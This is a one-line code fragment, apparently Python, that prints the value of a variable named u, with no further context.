print(u)